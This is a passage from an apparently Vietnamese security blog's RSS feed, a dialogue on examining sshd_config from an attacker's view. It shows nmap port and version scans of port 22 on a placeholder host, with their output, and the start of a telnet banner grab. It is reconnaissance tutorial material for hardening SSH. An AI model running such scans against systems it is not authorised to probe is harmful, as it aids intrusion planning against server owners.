trầm ngâm hồi lâu. Sau đó "docco" lên tiếng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Bây giờ em mới thấy khái niệm quan trọng như thế nào. Khái niệm được hình thành một cách sai lạc và què quặc thì sẽ dẫn đến hàng loạt các sai lạc khác. Vẫn với chủ đề tập tin cấu hình sshd_config, anh có thể phân tích thêm theo phương diện tấn công được không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Được chớ em. Hãy thử 'đào xới' giá trị thứ nhất Port 22. Ai cũng biết đây là cổng chính thức của dịch vụ ssh. Nếu muốn táy máy, anh chỉ cần thử một dòng nmap đã đủ có thể xác định xem có dịch vụ ssh trên máy chủ hay không rồi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; [conmeo@home conmale]# /usr/local/bin/nmap -sT someserver.somedomain.com -p 22 -v&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-07-31 17:04 EST&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Initiating Connect() Scan against someserver.somedomain.com (xx.xx.xx.xx) [1 port] at 17:04&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Discovered open port 22/tcp on xx.xx.xx.xx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; The Connect() Scan took 0.23s to scan 1 total ports.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Host someserver.somedomain.com (xx.xx.xx.xx) appears to be up ... good.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Interesting ports on someserver.somedomain.com (xx.xx.xx.xx):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; PORT      STATE SERVICE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; 22/tcp open  SSH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Nmap finished: 1 IP address (1 host up) scanned in 1.464 seconds&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;                Raw packets sent: 2 (68B) | Rcvd: 1 (46B)&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Nếu cần, anh có thể thêm một thông số để xác định phiên bản của ssh: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; [conmeo@home conmale]# /usr/local/bin/nmap -sT -sV someserver.somedomain.com -p 22 -v&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-07-31 17:03 EST&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Initiating Connect() Scan against someserver.somedomain.com (xx.xx.xx.xx) [1 port] at 17:03&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Discovered open port 64321/tcp on xx.xx.xx.xx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; The Connect() Scan took 0.23s to scan 1 total ports.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Initiating service scan against 1 service on someserver.somedomain.com (xx.xx.xx.xx) at 17:03&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; The service scan took 0.47s to scan 1 service on 1 host.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Host someserver.somedomain.com (xx.xx.xx.xx) appears to be up ... good.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Interesting ports on someserver.somedomain.com (xx.xx.xx.xx):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; PORT      STATE SERVICE VERSION&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; 22/tcp open  ssh     OpenSSH 3.5p1 (protocol 2.0)&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Nmap finished: 1 IP address (1 host up) scanned in 2.481 seconds&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;                Raw packets sent: 2 (68B) | Rcvd: 1 (46B)&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Hoặc đơn giản hơn nữa: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; $ telnet someserver.somedomain.com 22&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Trying someserver.&lt;/span&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item></channel></rss>